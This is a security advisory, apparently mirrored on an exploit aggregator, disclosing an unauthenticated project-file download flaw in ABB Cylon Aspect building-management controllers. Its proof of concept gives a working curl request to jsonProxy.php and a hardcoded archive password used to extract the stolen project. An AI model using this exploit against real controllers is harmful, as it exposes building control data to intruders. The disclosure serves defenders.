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## https://sploitus.com/exploit?id=1337DAY-ID-39794
ABB Cylon Aspect 3.08.01 (jsonProxy.php) Unauthenticated Project Download


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.01

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The jsonProxy.php endpoint on the ABB BMS/BAS controller is vulnerable
to unauthorized project file disclosure. An unauthenticated remote attacker 
can issue a GET request abusing the DownloadProject servlet to download
sensitive project files. The jsonProxy.php script bypasses authentication
by proxying requests to localhost (AspectFT Automation Application Server),
granting remote attackers unauthorized access to internal Java servlets.
This exposes potentially sensitive project data and configuration details
without requiring authentication.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5855
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5855.php


21.04.2024

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$ cat project

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โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
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โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘                                                            
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         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
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         โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–’โ–“โ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
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         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘                                               
                                                                                                               

$ curl "http://192.168.73.31/jsonProxy.php?port=7226&application=DownloadProject?downloadSource=true" -o Skyscraper.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 37.6M    0 37.6M    0     0   497k      0 --:--:--  0:01:17 --:--:--  207k

$ file Skyscraper.zip
Skyscraper.zip: Zip archive data, at least v2.0 to extract, compression method=AES Encrypted
$ 7z -p"aamuserdefault" x Skyscraper > nula
$ ls
$ Skyscraper_2023.zip       Skyscraper.zip       nula
$ file Skyscraper_2023.zip
Skyscraper_2023.zip: Zip archive data, at least v2.0 to extract, compression method=deflate